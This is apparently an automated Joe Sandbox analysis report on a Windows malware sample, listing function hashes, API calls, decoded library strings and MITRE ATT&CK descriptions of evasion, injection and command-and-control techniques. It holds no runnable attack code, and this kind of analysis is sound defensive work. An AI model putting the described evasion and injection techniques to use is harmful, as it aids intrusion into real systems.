Opcode ID: 74239c9c7b16b21aa04fe377b8163202acf5c4f4e685acb1310240db984c9c11
Instruction ID: 509de4b8d48431b865364dba47db2c85c3d25dd11c930f3e9988108927cbe621
Opcode Fuzzy Hash: 74239c9c7b16b21aa04fe377b8163202acf5c4f4e685acb1310240db984c9c11
Instruction Fuzzy Hash: DA51A378701219EFDB59EB90C884F9DBB75BF4C701F5846A0E6048A1C9C770E9D2CBA2

Function 03131630 Relevance: 7.0, Strings: 5, Instructions: 757COMMON

Download Yara Rule

Strings

header crc mismatch, xrefs: 03131E13
invalid window size, xrefs: 03131892
incorrect header check, xrefs: 031318A8
unknown header flags set, xrefs: 03131901
unknown compression method, xrefs: 031317F4

Memory Dump Source

Source File: 00000000.00000002.2576426837.0000000003121000.00000040.00001000.00020000.00000000.sdmp, Offset: 03121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3121000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: header crc mismatch$incorrect header check$invalid window size$unknown compression method$unknown header flags set
API String ID: 0-3633268661
Opcode ID: 51fb4cac4f8a2bf5199512ce453f2594e57f0f9f11454ea1ed87b5b995060f26
Instruction ID: 4905a8195449975b717ce8279f5a347b3e812b6776b5c20238d35b2f74f1d73f
Opcode Fuzzy Hash: 51fb4cac4f8a2bf5199512ce453f2594e57f0f9f11454ea1ed87b5b995060f26
Instruction Fuzzy Hash: 9A626AB1E00215AFDB14DF59C9846ADFBF5BF4A304F2881A9D818AB352D735DA43CB90

Function 03127970 Relevance: .8, Instructions: 756COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2576426837.0000000003121000.00000040.00001000.00020000.00000000.sdmp, Offset: 03121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3121000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb14d30d809129b8e6f0c0766e2083740a43fad8b7dc4135de1c2b7f3338b818
Instruction ID: cc6a4f4365fa0118a0f333da762e27c2e69996be6159ec633c17db3b0652e44d
Opcode Fuzzy Hash: bb14d30d809129b8e6f0c0766e2083740a43fad8b7dc4135de1c2b7f3338b818
Instruction Fuzzy Hash: 2242A075E00229ABDF14DFA9D8407AEFFB5FF0C324F184569E814A7291E735A9708B90

Function 0313D299 Relevance: .4, Instructions: 364COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2576426837.0000000003121000.00000040.00001000.00020000.00000000.sdmp, Offset: 03121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3121000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24f1b031a1f8a5deda89d9838ca26a94a794960f85ee8a27e340a26a4ab77aa1
Instruction ID: 9a53ddbcef7e6bda6de13a5a58b9c094612c1ec31438d9a50e2250270e44bcd3
Opcode Fuzzy Hash: 24f1b031a1f8a5deda89d9838ca26a94a794960f85ee8a27e340a26a4ab77aa1
Instruction Fuzzy Hash: D6F16D756092118FC709CF18D4D48F5BBF1AFA9310B1E82FDD8899B3A6D731A984CB51

Function 0312F1E0 Relevance: .3, Instructions: 293COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2576426837.0000000003121000.00000040.00001000.00020000.00000000.sdmp, Offset: 03121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3121000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8681bb88b3dbfabbd9febf9af9750538cc47532cf12b7307584a6e9c956e49b
Instruction ID: a1de919cfd60ed8fbe04bb06432b6339b7134b4dc87a568607f7ad8a4acc0ce2
Opcode Fuzzy Hash: d8681bb88b3dbfabbd9febf9af9750538cc47532cf12b7307584a6e9c956e49b
Instruction Fuzzy Hash: 42C1A5359002658FDF4CEE6EEC9447A7BB1EF8D301749815ADA4197289C338E667CBB0

Function 0312268B Relevance: .2, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2576426837.0000000003121000.00000040.00001000.00020000.00000000.sdmp, Offset: 03121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3121000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cacf490f58bdf4ff4af670fc3285697853514b0ee765931d00c2210ba863a8e
Instruction ID: 7d5e1b6940b28f60b3b7fdbb10de6875c251aadd18da5a569cb2726492d7443b
Opcode Fuzzy Hash: 2cacf490f58bdf4ff4af670fc3285697853514b0ee765931d00c2210ba863a8e
Instruction Fuzzy Hash: 356178B1A042216BE311DB38CC40F2F7F95EFCC704F5A8868F949AB785D775D95286A0

Function 03130CC0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2576426837.0000000003121000.00000040.00001000.00020000.00000000.sdmp, Offset: 03121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3121000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38feda19dea376615d46f663bf178bd2f5c1e6b063b145903f0926c12bc5be2c
Instruction ID: 74bbc5395a3bc7db06c6b02a3e914d72712a0c64c0b740e2ae298e007aec73a6
Opcode Fuzzy Hash: 38feda19dea376615d46f663bf178bd2f5c1e6b063b145903f0926c12bc5be2c
Instruction Fuzzy Hash: 82414FB5A00118BBEB14DB64CC91FFF73B9EB88704F45C558F909AE284D775AA008B90

Function 03123A3A Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2576426837.0000000003121000.00000040.00001000.00020000.00000000.sdmp, Offset: 03121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3121000_SecuriteInfo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 379fc15f2efd7c83f3ea997dea8cf81268e51f57da66e69fcc6c16648a54e29c
Instruction ID: 2f41fc0b828027829d1b4feee8bb81bae4c1465a1f0d83360b0f13b4d7ce371f
Opcode Fuzzy Hash: 379fc15f2efd7c83f3ea997dea8cf81268e51f57da66e69fcc6c16648a54e29c
Instruction Fuzzy Hash: 0241D37EA04321AFD725EF25EC05B043FA5EB5C311F168134F998AB269E77488B08B50

Function 03123A22 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2576426837.0000000003121000.00000040.00001000.00020000.00000000.sdmp, Offset: 03121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3121000_SecuriteInfo.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1debfe5b67dfbccc68180ed0c1c310f024af668c72bc5b37cc79b25b771ed206
Instruction ID: 4807d12afa92169da0483869520ad77bbd5ac2904978a03134351d5ce0653bcd
Opcode Fuzzy Hash: 1debfe5b67dfbccc68180ed0c1c310f024af668c72bc5b37cc79b25b771ed206
Instruction Fuzzy Hash: D441047AA44321AFDB24EF35DD45B083F61EB5D311F268130F998AB26DE734C8A18B50

Function 03121227 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2576426837.0000000003121000.00000040.00001000.00020000.00000000.sdmp, Offset: 03121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3121000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b6ad26908321792fdce15bb5755181406fccfd7b79d24d59f7413ac628f0f1f
Instruction ID: efc13a9d3d049a7e6e8cfe19d85b54c4c15439c1b2e432c1615113562468936a
Opcode Fuzzy Hash: 2b6ad26908321792fdce15bb5755181406fccfd7b79d24d59f7413ac628f0f1f
Instruction Fuzzy Hash: 75F0E276A40129ABC724DE11E480943FBBAFBCC260725C971E808C7300D330E8E285D0

Function 031501A1 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2576426837.0000000003150000.00000040.00001000.00020000.00000000.sdmp, Offset: 03150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3150000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbef14523ffd5c8bf50e7df617c3a508bcdc59d766f3cace1eef0a9913c200fd
Instruction ID: c39455965e39bb008fe71b0de837b44fdb15334f219daad0d92a6487e392a706
Opcode Fuzzy Hash: cbef14523ffd5c8bf50e7df617c3a508bcdc59d766f3cace1eef0a9913c200fd
Instruction Fuzzy Hash: 0BF02731509642CFDB0BEB54C0647E5B7E2EBBD300FBA4112E59A4B300EB308455CB84

Function 03122A45 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2576426837.0000000003121000.00000040.00001000.00020000.00000000.sdmp, Offset: 03121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3121000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3747b216bb7640c08f949b015196ec800bea75b710efc7667a09099d45f6f0fe
Instruction ID: fac49365386c4e0fd3d59bcad7678eb6b979ae015019be6ac397fb2d74529ff3
Opcode Fuzzy Hash: 3747b216bb7640c08f949b015196ec800bea75b710efc7667a09099d45f6f0fe
Instruction Fuzzy Hash: 90F0A077A406198BD774CA11D480A0BF79AB7DCB60F56D561C9081BF05C730E9E3CAD4

Function 031261D1 Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2576426837.0000000003121000.00000040.00001000.00020000.00000000.sdmp, Offset: 03121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3121000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e682d07938a08791fb2b67f5b230261ac76ddf3e9efffd87a8a2196e06f52ada
Instruction ID: c689b21c46f4011354dd013a71d2242310ba35e9aea8850cd7642e100e684976
Opcode Fuzzy Hash: e682d07938a08791fb2b67f5b230261ac76ddf3e9efffd87a8a2196e06f52ada
Instruction Fuzzy Hash: B7E0657AA45225CBC719DF84E480982FB29FB98360B0186A6CD041B70AC370F8E1CBE0

Function 0313088D Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2576426837.0000000003121000.00000040.00001000.00020000.00000000.sdmp, Offset: 03121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3121000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26b5c9e30651effefad06b6a61ea62ac712189e8604cc9d6c86c9b3b428bb2f3
Instruction ID: 396ebaa129f8580f844dd736e4d2a09fa5e4cc6d5646942b6a20475de7fce619
Opcode Fuzzy Hash: 26b5c9e30651effefad06b6a61ea62ac712189e8604cc9d6c86c9b3b428bb2f3
Instruction Fuzzy Hash: 06D095392A0A08CFC284CB08D0C8E40B3F8FB0DA20B058091EA0A8BB32C331FE10CA40

Function 031261CB Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2576426837.0000000003121000.00000040.00001000.00020000.00000000.sdmp, Offset: 03121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3121000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ee6afa41f50251ab5523c54f911ab0a0442e52726d758642362df491cb9a24c
Instruction ID: 3d00263cc3c81bd0d858b1f0f7bc3eabb4e79907c484f053a257082e3ccc3750
Opcode Fuzzy Hash: 5ee6afa41f50251ab5523c54f911ab0a0442e52726d758642362df491cb9a24c
Instruction Fuzzy Hash: 5CD0A736B415288BC315CE44D440D43F729FB487A0B0283A2CC0057706D230E850C6D0

Function 031308A0 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2576426837.0000000003121000.00000040.00001000.00020000.00000000.sdmp, Offset: 03121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3121000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9ed70d17b65b173f63ea8bde167bd4dbe7c19cd1b27e585218ed96e6e4df4c6
Instruction ID: 58c6f5837427d6eca2c2deaad74ce6c6656098581891570576efec04afcca601
Opcode Fuzzy Hash: f9ed70d17b65b173f63ea8bde167bd4dbe7c19cd1b27e585218ed96e6e4df4c6
Instruction Fuzzy Hash: 42D001392A1A48CFC241CF4CD084E40B3F8FB0DA20B068092FA0A8BB32C334FC00DA80

Function 03123C41 Relevance: 10.5, APIs: 6, Strings: 1, Instructions: 43
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpyW.KERNEL32(0314C4EF,C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe), ref: 03123C51
lstrcpyW.KERNEL32(0314C6FB,03144FB5), ref: 03123C61
lstrcpyW.KERNEL32(0314C72B,031454B5), ref: 03123C71
lstrlenW.KERNEL32(031454B5), ref: 03123C7C
lstrcpyW.KERNEL32(0314C933,031432CC,03146F9E,031432CC), ref: 03123CA8
lstrcpy.KERNEL32(0314C993,03146F9E), ref: 03123CB8

Strings

C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, xrefs: 03123C47

Memory Dump Source

Source File: 00000000.00000002.2576426837.0000000003121000.00000040.00001000.00020000.00000000.sdmp, Offset: 03121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3121000_SecuriteInfo.jbxd

Similarity

API ID: lstrcpy$lstrlen
String ID: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe
API String ID: 367037083-210220030
Opcode ID: edf4c10db06244e39ff5c017d27920f634205165b951dec17d65069747d2f163
Instruction ID: 53046993fa7bca8af692352fd939652f4fea8d022a41d3f8cff851325e442ec0
Opcode Fuzzy Hash: edf4c10db06244e39ff5c017d27920f634205165b951dec17d65069747d2f163
Instruction Fuzzy Hash: 8C012C79381B957FD620F7F09D0BE8E79906B1DB03F44080476B6A9147DBE4A02146A2

Function 0312410C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?,33656C4F,00000032,00004E20), ref: 03124124
LoadLibraryA.KERNEL32(?,6C656853,2E32336C,006C6C64,?,72436F43,65746165,74736E49,65636E61,00000000,?,6E496F43,61697469,657A696C,00000000,33656C4F), ref: 031241C2

Part of subcall function 03121131: LoadLibraryA.KERNEL32(NTDLL,?), ref: 031211F9

LoadLibraryA.KERNEL32(?,776C6873,2E697061,006C6C64,?,6C656853,2E32336C,006C6C64,?,72436F43,65746165,74736E49,65636E61,00000000,?,6E496F43), ref: 03124243

Strings

C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, xrefs: 03124220

Memory Dump Source

Source File: 00000000.00000002.2576426837.0000000003121000.00000040.00001000.00020000.00000000.sdmp, Offset: 03121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3121000_SecuriteInfo.jbxd

Similarity

API ID: LibraryLoad
String ID: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe
API String ID: 1029625771-210220030
Opcode ID: c02a03c45145dd33c08bc10dff3c6d4b1008fda1d8ac48d2229995f3b9ea7875
Instruction ID: a7b414776f3782303df141edb178a67aeec5dc455c5adeeb383e1334dfdb4c66
Opcode Fuzzy Hash: c02a03c45145dd33c08bc10dff3c6d4b1008fda1d8ac48d2229995f3b9ea7875
Instruction Fuzzy Hash: 0241B038288301BFEA05FB75EC85F1E3F21BB0CB12F10C120F984A9599DFB1D5A08A65

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\config

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Statistics

CPU Usage

Windows Analysis Report
SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe